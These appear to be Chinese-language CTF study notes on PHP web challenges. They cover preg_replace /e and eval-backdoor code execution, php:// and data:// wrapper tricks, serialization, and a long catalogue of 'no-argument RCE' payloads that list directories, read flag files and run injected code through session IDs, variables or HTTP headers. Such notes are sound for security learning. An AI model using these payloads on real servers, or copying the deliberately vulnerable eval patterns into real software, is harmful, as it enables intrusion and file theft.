15
16
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}

固定解题格式: \S*=${}
?\S*=${getFlag()}&cmd=system('cat /flag');

[ZJCTF 2019]NiZhuanSiWei

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
姿势一:使用php://input伪协议通过post传参需要注意请求包的类型是post

姿势二:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= // d2VsY29tZSB0byB0aGUgempjdGY= 解码后为 -----> welcome to the zjctf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  

class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
__tostring()方法在题目中
$password = unserialize($password);
echo $password; //触发魔术方法

X-Requested-With: XMLHttpRequest//通常在发送 XMLHttpRequest 对象发起 AJAX 请求时
AJAX 请求:使用指一种创建交互式、快速动态网页应用的网页开发技术,好像和xml有关

python dirsearch.py -u http://f921948c-4523-4885-a45b-936776836ace.node4.buuoj.cn:81/ -e.php
python dirsearch.py -u URL -e.php
要有F12查看源代码查找flag的好习惯
$a = json_decode($_GET['json'],true);
返回一个json数据格式解码后的关联数组
json = {“x”:”wllm”}解码后就是

无参rce

方法一:利用scandir()

扫描当前目录内容

1
?c=print_r(scandir(pos(localeconv()))); 

localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。

可以看到当前目录下有flag.php。

image-20231103210617480

通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后

1
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
1
2
3
4
5
6
highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."

image-20231103210652828

读取当前目录倒数第一位文件:

1
2
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

getcwd() 函数用于获取当前工作目录的路径(当前工作目录是指PHP脚本正在执行的目录)。这个函数不需要任何参数,直接调用即可

读取当前目录倒数第二位文件:

1
2
?exp=show_source(next(array_reverse(scandir(getcwd()))));
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

随机返回当前目录文件:

1
2
3
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

扫描上一级目录:

1
2
3
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

dirname() 函数用于返回指定路径的目录部分。它会返回给定路径的父目录路径

读取上级目录文件:

1
2
3
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

查看和读取根目录文件:

所获得的字符串第一位有几率是/,需要多试几次

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径

方法二:利用session_id()

1
2
3
4
5
6
7
8
9
法一:
?exp=highlight_file(session_id(session_start()));
请求头:
Cookie: PHPSESSID=flag.php

法二 :
?exp=eval(hex2bin(session_id(session_start())));
Cookie: PHPSESSID=706870696e666f28293b //为什么要编码,因为PHPSESSID不允许括号
(706870696e666f28293b为phpinfo();的十六进制编码)

在[GXYCTF2019]禁止套娃1中过滤掉了hex,但是我们已知flag.php是我们要读取的,所以直接法一即可

session_start()开启session服务,session_id()读取参数内容,hex2bin使16进制转换为字符串,因为SESSIONID只能为字母和数字

image-20231123211213371

方法三:利用get_defined_vars()

1
?c=print_r(get_defined_vars());   //var_dump

get_defined_vars()是一个 PHP 函数,用于获取当前作用域中已定义的所有变量的列表,并将它们存储在一个关联数组中

image-20231104001910198

也可以右键源代码更加直观

image-20231112230337261

1
post传参:1=phpinfo();

image-20231104002343239

我们可以将数组弹出,来间接获取我们想要的payload,从而达到绕过。

1
?c=print(array_pop((next((get_defined_vars())))));

image-20231104003019833

我们这里也是直接将post传参改成我们需要的了

image-20231104003059244

直接配合嵌套eval函数

逻辑是内层eval执行返回system("cat flag.php");,然后外层eval执行

1
2
?c=eval(array_pop((next((get_defined_vars())))));
?c=eval(array_pop((current((get_defined_vars())))));

current() 函数用于返回数组中的当前元素的值

image-20231104003153294

需要注意的是方法二和方法三都要用到嵌套eval才能执行

方法四:利用getallheaders()

getallheaders()返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。implode()能够直接将getallheaders()返回的数组转化为字符串

image-20231123210800598

可以看到获取到的头信息被当作字符串输出了,且是从最后开始输出(由于php版本不同,输出顺序也可能不同),那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉。

image-20231123210811018

payload:

1
?exp=eval(implode(getallheaders()));

参考文章:

使用无参数函数进行命令执行

[GXYCTF2019]禁止套娃1(两种方法)

无参数RCE总结

全:

无参数RCE绕过的详细总结(六种方法)